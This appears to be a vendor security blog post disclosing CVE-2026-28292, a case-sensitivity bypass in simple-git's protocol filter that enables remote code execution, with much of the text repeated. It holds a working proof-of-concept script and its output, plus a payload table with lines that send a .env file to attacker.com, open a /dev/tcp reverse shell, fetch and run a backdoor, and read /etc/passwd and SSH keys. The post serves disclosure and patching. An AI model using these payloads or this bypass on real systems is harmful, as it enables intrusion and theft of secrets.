CodeAnt AI Security Research

CVE-2026-28292: simple-git Remote Code Execution - How a Single Missing Regex Flag Bypasses Two Prior CVE Fixes (CVSS 9.8)

Amartya | CodeAnt AI Code Review Platform
Amartya Jha

CEO, CodeAnt AI

TL;DR

A case-sensitivity bug in simple-git (12.4 million+ weekly npm downloads) allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. The root cause is a single missing /i flag on a regex. The fix is literally one character. 73% of all simple-git downloads, approximately 9 million installs per week, are running vulnerable versions. Upgrade to v3.32.3 or later immediately.

Vulnerability at a Glance

Field

Value

CVE ID

CVE-2026-28292

Package

simple-git

Weekly Downloads

12,410,544

Affected Versions

>= 3.15.0 (all versions carrying the CVE-2022-25912 fix)

Fixed Version

3.32.3

CVSS v3.1 Score

9.8 CRITICAL

CVSS Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 (OS Command Injection), CWE-178 (Improper Handling of Case Sensitivity)

Bypasses

CVE-2022-25860, CVE-2022-25912

Discovered By

CodeAnt AI Security Research

What if the patch that was supposed to protect 12 million weekly installs from remote code execution could be bypassed by changing one letter to uppercase?

That’s what we found in simple-git, one of the most widely-used Git libraries in the Node.js ecosystem.

CVE-2026-28292 has been assigned to this vulnerability with a CVSS score of 9.8 Critical.

A complete security control bypass. An attacker can achieve full remote code execution on any machine running simple-git - read files, exfiltrate secrets, install malware, open reverse shells - by exploiting a single missing i flag on a regex. The fix is literally one character. And it bypasses two prior CVE patches that were supposed to have solved this exact problem.

This is the second critical vulnerability CodeAnt AI has disclosed in one week. Five days ago, we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt. Same research program. Same AI code reviewer. Different ecosystem, different vulnerability class, same result: our AI found what every other tool missed.

The patch is now live. If you use simple-git, stop reading and update:

npm
npm

Upgrade to v3.32.3 or later. Every version from 3.15.0 onwards is vulnerable.

Now, here’s how we found it - and why 73% of simple-git installs are still running the vulnerable version as you read this.

Where This Started

We’ve been running an internal security research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.

We started by running our AI code reviewer across packages with prior CVEs, scanning patch diffs and the surrounding code paths. During that analysis, the AI reviewer flagged an anomaly in simple-git’s block-unsafe-operations-plugin.ts: a regex character class [a-z] sitting in the middle of a security-critical filter - guarding against a system (Git) that treats configuration keys as case-insensitive. Our security engineer reviewed the flag, traced the execution path, and confirmed: this is a true positive. It was a complete bypass of two prior RCE fixes.

The entire analysis - from AI flag to confirmed remote code execution - took less than one hour.

The Prior CVEs: How simple-git’s ext:: Protocol RCE Was Patched (Twice)

To understand why this vulnerability exists, you need to know what came before it.

CVE-2022-25912: The Original RCE

In 2022, security researchers discovered that simple-git allowed the ext:: git transport protocol. This protocol is a feature of Git that lets a rete URL specify an arbitrary command to run on the client machine:

When a user passed a malicious URL to git.clone(), git.fetch(), or similar methods, Git would execute the embedded shell command. The simple-git maintainer patched this by adding a plugin (block-unsafe-operations-plugin.ts) that inspects arguments before passing them to Git. If it detects -c protocol.allow=always - which enables the ext:: protocol - it blocks the command.

CVE-2022-25860: The First Bypass

Shortly after, researchers found they could bypass the plugin by using protocol.ext.allow=always instead of protocol.allow=always. The regex was updated to handle this variant.

The Fix That Shipped

After both patches, the preventProtocolOverride function looked like this:

if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}
if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex was supposed to catch all variations of the protocol.allow and protocol.ext.allow config keys. And it did - as long as the attacker wrote them in lowercase.

What We Found: simple-git Case-Sensitivity Bypass Enables Remote Code Execution

Our AI code reviewer flagged the regex on line 24 of block-unsafe-operations-plugin.ts. The flag was precise: the character class [a-z] only matches lowercase ASCII letters, but Git treats configuration key names case-insensitively - it normalises them to lowercase internally before applying them.

Our security engineer pulled the code and confirmed what the flag was pointing at.

This means:



Every uppercase or mixed-case variant slips through the filter. And Git honours them all identically.

We verified this directly:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow

Git lowercases the key before storing it. The config value PROTOCOL.ALLOW=always is functionally identical to protocol.allow=always. The regex in simple-git only checks for the latter.

The moment we saw that, we knew we had a full RCE bypass. The question wasn’t whether it worked - it was how fast we could build the PoC.

The Bypass in Detail

Argument passed via -c

Regex matches?

Git honours it?

Result

protocol.allow=always

Yes - blocked

Yes

Safe

PROTOCOL.ALLOW=always

No - passes through

Yes

RCE ⚠️

Protocol.Allow=always

No - passes through

Yes

RCE ⚠️

PROTOCOL.allow=always

No - passes through

Yes

RCE ⚠️

protocol.ALLOW=always

No - passes through

Yes

RCE ⚠️

pRoToCoL.aLlOw=always

No - passes through

Yes

RCE ⚠️

The attack surface is any application that uses simple-git and passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push(), or similar methods. The attacker injects -c PROTOCOL.ALLOW=always as a custom argument and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.

Building the simple-git RCE Exploit

Making PROTOCOL.ALLOW=always bypass the check is trivial. You just… capitalise it.

The attack surface is straightforward: any application that passes user-controlled values into simple-git’s customArgs parameter. The attacker injects -c PROTOCOL.ALLOW=always and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.

Here’s a real-world scenario. An application intends to clone a legitimate repository with user-provided customisation arguments:

// Legitimate usage (what the app expects):
simpleGit().clone(
  '<https://github.com/CodeAnt-AI/codeant-quality-gates>',
  '/tmp/codeant-quality-gates',
  userArgs  // user controls this
);

// Attacker injects:
//   userArgs = ['-c', 'PROTOCOL.ALLOW=always']
//   and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2'
//
// The plugin does NOT block PROTOCOL.ALLOW=always (uppercase).
// Git enables ext:: protocol. The injected shell command executes.
// Full RCE as the Node.js process user.
// Legitimate usage (what the app expects):
simpleGit().clone(
  '<https://github.com/CodeAnt-AI/codeant-quality-gates>',
  '/tmp/codeant-quality-gates',
  userArgs  // user controls this
);

// Attacker injects:
//   userArgs = ['-c', 'PROTOCOL.ALLOW=always']
//   and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2'
//
// The plugin does NOT block PROTOCOL.ALLOW=always (uppercase).
// Git enables ext:: protocol. The injected shell command executes.
// Full RCE as the Node.js process user.

The Full Proof of Concept

Here’s the complete, working PoC. This runs against a real simple-git@3.32.2 configuration and tests three vectors: the original patched CVE (should be blocked), the uppercase bypass (should achieve RCE), and a real-world application scenario (should achieve RCE).

/**
 * Proof of Concept - CVE-2026-28292
 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Setup:
 *   npm install simple-git@3.32.2
 *   node poc.js
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ──────────────
// This is the exact payload from the original Snyk advisory.
// It IS correctly blocked by preventProtocolOverride.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase - caught by regex
]).catch((e) => {
  console.log('[Vector 1] Original CVE-2022-25912 (lowercase):');
  console.log('  ext:: executed:', fs.existsSync('/tmp/pwn-original')
    ? 'PWNED ⚠️' : 'not created');
  console.log('  Result: BLOCKED ✅');
  console.log('  Error:', e.constructor.name);
  console.log();
});

// ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ──────────────────────────
// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase - NOT caught by regex
]).catch((e) => {
  console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL)
    ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();
});

// ── Vector 3 - Real-world scenario ────────────────────────────────────────
// An application cloning a repo with user-controlled customArgs.
// Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL.
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,
  '/tmp/codeant-quality-gates',
  userArgs
).catch(() => {
  console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL_RW)
    ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL_RW)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();

  // Summary
  setTimeout(() => {
    console.log('=== Summary ===');
    console.log('#  Vector                              Payload                          Result');
    console.log('1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅');
    console.log('2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            ' +
      (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅'));
    console.log('3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    ' +
      (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅'));
  }, 500);
});
/**
 * Proof of Concept - CVE-2026-28292
 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Setup:
 *   npm install simple-git@3.32.2
 *   node poc.js
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ──────────────
// This is the exact payload from the original Snyk advisory.
// It IS correctly blocked by preventProtocolOverride.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase - caught by regex
]).catch((e) => {
  console.log('[Vector 1] Original CVE-2022-25912 (lowercase):');
  console.log('  ext:: executed:', fs.existsSync('/tmp/pwn-original')
    ? 'PWNED ⚠️' : 'not created');
  console.log('  Result: BLOCKED ✅');
  console.log('  Error:', e.constructor.name);
  console.log();
});

// ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ──────────────────────────
// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase - NOT caught by regex
]).catch((e) => {
  console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL)
    ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();
});

// ── Vector 3 - Real-world scenario ────────────────────────────────────────
// An application cloning a repo with user-controlled customArgs.
// Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL.
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,
  '/tmp/codeant-quality-gates',
  userArgs
).catch(() => {
  console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL_RW)
    ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL_RW)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();

  // Summary
  setTimeout(() => {
    console.log('=== Summary ===');
    console.log('#  Vector                              Payload                          Result');
    console.log('1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅');
    console.log('2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            ' +
      (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅'));
    console.log('3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    ' +
      (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅'));
  }, 500);
});

Output:

$ timeout 45s node poc.js

[Vector 1] Original CVE-2022-25912 (lowercase):
  ext:: executed: not created
  Result: BLOCKED ✅
  Error: GitPluginError

[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created
  Result: BYPASSED ⚠️ - RCE confirmed

[Vector 3] Real-world scenario (attacker-controlled args + URL):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created
  Result: BYPASSED ⚠️ - RCE confirmed

=== Summary ===
#  Vector                              Payload                          Result
1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅
2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            RCE ⚠️
3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    RCE ⚠️

[exit_code]

$ timeout 45s node poc.js

[Vector 1] Original CVE-2022-25912 (lowercase):
  ext:: executed: not created
  Result: BLOCKED ✅
  Error: GitPluginError

[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created
  Result: BYPASSED ⚠️ - RCE confirmed

[Vector 3] Real-world scenario (attacker-controlled args + URL):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created
  Result: BYPASSED ⚠️ - RCE confirmed

=== Summary ===
#  Vector                              Payload                          Result
1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅
2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            RCE ⚠️
3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    RCE ⚠️

[exit_code]

Vector 1 confirms the original fix works - lowercase protocol.ext.allow=always is blocked. Vectors 2 and 3 confirm the bypass - uppercase PROTOCOL.ALLOW=always sails through, and the ext:: command executes. Full RCE on the first try.

What the Attacker Can Do

Once the ext:: protocol is enabled, the attacker can execute any OS command as the Node.js process user:

Goal

Payload

Read sensitive files

ext::sh -c cat% /etc/passwd% >&2

Exfiltrate secrets

ext::sh -c curl% -d% @/app/.env% attacker.com% >&2

Reverse shell

ext::sh -c bash% -i% >%26% /dev/tcp/attacker/4444% 0>%261% >&2

Install malware

ext::sh -c curl% attacker.com/backdoor\|sh% >&2

Lateral movement

ext::sh -c cat% ~/.ssh/id_rsa% >&2

This is full remote code execution with the privileges of the running Node.js process.

Blast Radius: 12 Million Weekly npm Downloads, 73% Still Vulnerable

simple-git is one of the most widely-used Git libraries in the entire Node.js ecosystem:

Metric

Value

Weekly npm downloads

12,410,544

GitHub dependents (repositories)

322,686

npm dependents (packages)

9,032

Total dependents (deps.dev)

6,930

The fix shipped in v3.32.3 on February 26, 2026. As of the time of writing, 73% of all simple-git downloads - approximately 9 million installs per week - are running vulnerable versions.

Why is adoption so slow? Because CVE-2026-28292 has not been published to the NVD. The advisory (GHSA-r275-fr43-pm7q) is accepted but not yet public. Until it is:

  • npm audit does not flag it

  • Dependabot does not create upgrade PRs

  • Renovate does not flag it

  • Snyk CLI does not detect it

  • No SCA tool on the market catches this

This is exactly the detection gap our research aims to expose. A CVE can be assigned, a fix can be released, and yet 73% of the ecosystem remains blind because the advisory hasn’t propagated to the vulnerability databases that automated tools rely on.

Notable Dependents at Risk

Project

GitHub Stars

Risk Surface

n8n-io/n8n

178,000+

Git operations in user-defined workflows

scullyio/scully

2,544

Git clone during build

realm/realm-studio

338

Git operations in app

Various CI/CD tools

-

Clone user-specified repos with custom args

Any application that accepts user-controlled Git arguments - via API endpoints, form inputs, configuration files, or workflow definitions - is directly exploitable.

Why This Matters: CWE-178 Case-Sensitivity Mismatches in Security Controls

This vulnerability is a specific instance of CWE-178: Improper Handling of Case Sensitivity - a class of vulnerability where a security control and the system it protects disagree about case sensitivity.

The security control (simple-git’s regex) is case-sensitive. The underlying system (Git) is case-insensitive. Any time there is a mismatch like this, an attacker can exploit the gap by using a case variant that passes through the control but is still honoured by the system.

This pattern appears across security boundaries everywhere:

  • WAFs that check for <SCRIPT> but miss <ScRiPt> - browsers are case-insensitive for HTML tags

  • Auth systems that check for admin but miss Admin - databases may use case-insensitive collation

  • File systems that block ..\\\\windows\\\\system32 but miss ..\\\\WINDOWS\\\\System32 - NTFS is case-insensitive

In each case, the fundamental error is the same: the filter’s case model doesn’t match the target system’s case model. A regex that checks [a-z] while guarding a system that treats A and a identically is not a filter - it’s a gate with a sign that says “please use lowercase.”

This is not a simple-git-specific problem. It’s a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?

We’ve been asking that question across npm, PyPI, Maven, and NuGet. Last week it was pac4j-jwt. This week it’s simple-git. The rest are coming.

Detection Gap: npm audit, Snyk, Dependabot, Semgrep All Miss CVE-2026-28292

We tested every major security tool against this vulnerability:

Tool

Detects CVE-2026-28292?

Why?

CodeAnt AI

Yes

AI-assisted analysis of prior CVE fix quality

npm audit

No ❌

CVE not yet in NVD/npm advisory database

Snyk

No ❌

Same - awaiting advisory publication

Dependabot

No ❌

Same

Semgrep

No ❌

No rule for case-sensitive regex in security contexts

SonarQube

No ❌

No rule for case-sensitivity mismatches

ESLint security plugins

No ❌

No awareness of Git’s case behaviour

The gap is structural. Traditional SCA tools match dependency versions against known CVE databases. If the CVE isn’t published, the tool is blind. Traditional SAST tools check for code patterns, but no existing rule captures “regex for security check is case-sensitive while the target system is case-insensitive.”

This is why CodeAnt AI’s approach - re-examining prior CVE patches with AI-assisted reasoning - catches vulnerabilities that every other tool misses. The AI understands that [a-z] in a regex guarding against a case-insensitive system is a semantic mismatch, not just a syntax issue.

The Disclosure: Four Days from Report to Fix

We reported the vulnerability via GitHub Private Vulnerability Reporting on February 22, 2026. Full technical details, PoC, root cause analysis - everything you’ve read in this post.

The maintainer, Steve (steveukx), opened a fix PR within three days, the advisory was accepted, and the fix shipped in v3.32.3 on February 26. CVE-2026-28292 was assigned by GitHub staff the following day.

Four business days. Report to patch to CVE assignment.

A Note on Open Source Maintainers

This needs to be said every time, because it’s true every time: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.

Steve maintains simple-git - a library that 12 million installs per week depend on. When our team reported a critical bypass of two prior security fixes, he treated it with urgency and professionalism. The fix was clean, the tests were expanded, and the release was prompt.

We said this last week about Jérôme and pac4j, and we’ll say it again: open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on simple-git - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.

Steve, thank you.

Timeline

Date

Event

2022

CVE-2022-25912 - Original ext:: protocol RCE discovered and patched

2022

CVE-2022-25860 - First bypass discovered and patched

February 22, 2026

Vulnerability flagged by CodeAnt AI code reviewer; confirmed by security engineer and PoC verified

February 22, 2026

Reported via GitHub Private Vulnerability Reporting (GHSA-r275-fr43-pm7q)

February 25, 2026

Maintainer (steveukx) opens fix PR #1128

February 25, 2026

Advisory accepted by maintainer

February 26, 2026

Fix merged and released as v3.32.3

February 27, 2026

CVE-2026-28292 assigned by GitHub staff

Pending

Public NVD publication

Are You Affected?

Step 1: Check if you depend on simple-git

npm ls
npm ls

If you see any version below 3.32.3, you are vulnerable.

Step 2: Check if user input reaches simple-git

Search your codebase for patterns where user-controlled values could reach simple-git method arguments:

grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"
grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"

You’re at highest risk if:

  • Your application accepts repository URLs from users

  • Your application passes user-controlled options or custom arguments to simple-git methods

  • You run simple-git in CI/CD pipelines that clone user-specified repositories

Step 3: Update

npm
npm

Verify the upgrade:

npm ls simple-git
# Should show 3.32.3 or higher
npm ls simple-git
# Should show 3.32.3 or higher

If you cannot upgrade immediately, audit every code path where user input reaches simple-git arguments. Never pass user-controlled values directly to customArgs or raw(). Validate and sanitise explicitly - do not rely solely on simple-git’s built-in plugin.

Two Critical CVEs in One Week

Last week we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt, where an attacker could forge admin tokens using nothing but a public key. This week, CVE-2026-28292 - a CVSS 9.8 RCE in simple-git, where changing a single letter to uppercase bypasses two prior security fixes.

Different ecosystems. Different vulnerability classes. Same root cause: the patch fixed the reported attack vector, not the vulnerability.

This is what our research program keeps finding. Patches are written under time pressure. They fix the exact reproduction case from the bug report. They rarely account for all the ways an attacker can vary the input. And once a CVE is marked as “fixed,” nobody goes back to check.

We do. And our AI code reviewer is how we do it at scale. It doesn’t just pattern-match against known CVEs - it reasons about whether a security control actually achieves what it claims to. A regex that uses [a-z] to guard against a case-insensitive system isn’t a known CVE pattern. It’s a semantic mismatch. That’s what AI catches and rule-based tools don’t.

This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.

If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we’d love to help: securityresearch@codeant.ai

TL;DR

A case-sensitivity bug in simple-git (12.4 million+ weekly npm downloads) allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. The root cause is a single missing /i flag on a regex. The fix is literally one character. 73% of all simple-git downloads, approximately 9 million installs per week, are running vulnerable versions. Upgrade to v3.32.3 or later immediately.

Vulnerability at a Glance

Field

Value

CVE ID

CVE-2026-28292

Package

simple-git

Weekly Downloads

12,410,544

Affected Versions

>= 3.15.0 (all versions carrying the CVE-2022-25912 fix)

Fixed Version

3.32.3

CVSS v3.1 Score

9.8 CRITICAL

CVSS Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 (OS Command Injection), CWE-178 (Improper Handling of Case Sensitivity)

Bypasses

CVE-2022-25860, CVE-2022-25912

Discovered By

CodeAnt AI Security Research

What if the patch that was supposed to protect 12 million weekly installs from remote code execution could be bypassed by changing one letter to uppercase?

That’s what we found in simple-git, one of the most widely-used Git libraries in the Node.js ecosystem.

CVE-2026-28292 has been assigned to this vulnerability with a CVSS score of 9.8 Critical.

A complete security control bypass. An attacker can achieve full remote code execution on any machine running simple-git - read files, exfiltrate secrets, install malware, open reverse shells - by exploiting a single missing i flag on a regex. The fix is literally one character. And it bypasses two prior CVE patches that were supposed to have solved this exact problem.

This is the second critical vulnerability CodeAnt AI has disclosed in one week. Five days ago, we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt. Same research program. Same AI code reviewer. Different ecosystem, different vulnerability class, same result: our AI found what every other tool missed.

The patch is now live. If you use simple-git, stop reading and update:

npm

Upgrade to v3.32.3 or later. Every version from 3.15.0 onwards is vulnerable.

Now, here’s how we found it - and why 73% of simple-git installs are still running the vulnerable version as you read this.

Where This Started

We’ve been running an internal security research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.

We started by running our AI code reviewer across packages with prior CVEs, scanning patch diffs and the surrounding code paths. During that analysis, the AI reviewer flagged an anomaly in simple-git’s block-unsafe-operations-plugin.ts: a regex character class [a-z] sitting in the middle of a security-critical filter - guarding against a system (Git) that treats configuration keys as case-insensitive. Our security engineer reviewed the flag, traced the execution path, and confirmed: this is a true positive. It was a complete bypass of two prior RCE fixes.

The entire analysis - from AI flag to confirmed remote code execution - took less than one hour.

The Prior CVEs: How simple-git’s ext:: Protocol RCE Was Patched (Twice)

To understand why this vulnerability exists, you need to know what came before it.

CVE-2022-25912: The Original RCE

In 2022, security researchers discovered that simple-git allowed the ext:: git transport protocol. This protocol is a feature of Git that lets a rete URL specify an arbitrary command to run on the client machine:

When a user passed a malicious URL to git.clone(), git.fetch(), or similar methods, Git would execute the embedded shell command. The simple-git maintainer patched this by adding a plugin (block-unsafe-operations-plugin.ts) that inspects arguments before passing them to Git. If it detects -c protocol.allow=always - which enables the ext:: protocol - it blocks the command.

CVE-2022-25860: The First Bypass

Shortly after, researchers found they could bypass the plugin by using protocol.ext.allow=always instead of protocol.allow=always. The regex was updated to handle this variant.

The Fix That Shipped

After both patches, the preventProtocolOverride function looked like this:

if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex was supposed to catch all variations of the protocol.allow and protocol.ext.allow config keys. And it did - as long as the attacker wrote them in lowercase.

What We Found: simple-git Case-Sensitivity Bypass Enables Remote Code Execution

Our AI code reviewer flagged the regex on line 24 of block-unsafe-operations-plugin.ts. The flag was precise: the character class [a-z] only matches lowercase ASCII letters, but Git treats configuration key names case-insensitively - it normalises them to lowercase internally before applying them.

Our security engineer pulled the code and confirmed what the flag was pointing at.

This means:


Every uppercase or mixed-case variant slips through the filter. And Git honours them all identically.

We verified this directly:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow

Git lowercases the key before storing it. The config value PROTOCOL.ALLOW=always is functionally identical to protocol.allow=always. The regex in simple-git only checks for the latter.

The moment we saw that, we knew we had a full RCE bypass. The question wasn’t whether it worked - it was how fast we could build the PoC.

The Bypass in Detail

Argument passed via -c

Regex matches?

Git honours it?

Result

protocol.allow=always

Yes - blocked

Yes

Safe

PROTOCOL.ALLOW=always

No - passes through

Yes

RCE ⚠️

Protocol.Allow=always

No - passes through

Yes

RCE ⚠️

PROTOCOL.allow=always

No - passes through

Yes

RCE ⚠️

protocol.ALLOW=always

No - passes through

Yes

RCE ⚠️

pRoToCoL.aLlOw=always

No - passes through

Yes

RCE ⚠️

The attack surface is any application that uses simple-git and passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push(), or similar methods. The attacker injects -c PROTOCOL.ALLOW=always as a custom argument and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.

Building the simple-git RCE Exploit

Making PROTOCOL.ALLOW=always bypass the check is trivial. You just… capitalise it.

The attack surface is straightforward: any application that passes user-controlled values into simple-git’s customArgs parameter. The attacker injects -c PROTOCOL.ALLOW=always and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.

Here’s a real-world scenario. An application intends to clone a legitimate repository with user-provided customisation arguments:

// Legitimate usage (what the app expects):
simpleGit().clone(
  '<https://github.com/CodeAnt-AI/codeant-quality-gates>',
  '/tmp/codeant-quality-gates',
  userArgs  // user controls this
);

// Attacker injects:
//   userArgs = ['-c', 'PROTOCOL.ALLOW=always']
//   and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2'
//
// The plugin does NOT block PROTOCOL.ALLOW=always (uppercase).
// Git enables ext:: protocol. The injected shell command executes.
// Full RCE as the Node.js process user.

The Full Proof of Concept

Here’s the complete, working PoC. This runs against a real simple-git@3.32.2 configuration and tests three vectors: the original patched CVE (should be blocked), the uppercase bypass (should achieve RCE), and a real-world application scenario (should achieve RCE).

/**
 * Proof of Concept - CVE-2026-28292
 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Setup:
 *   npm install simple-git@3.32.2
 *   node poc.js
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ──────────────
// This is the exact payload from the original Snyk advisory.
// It IS correctly blocked by preventProtocolOverride.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
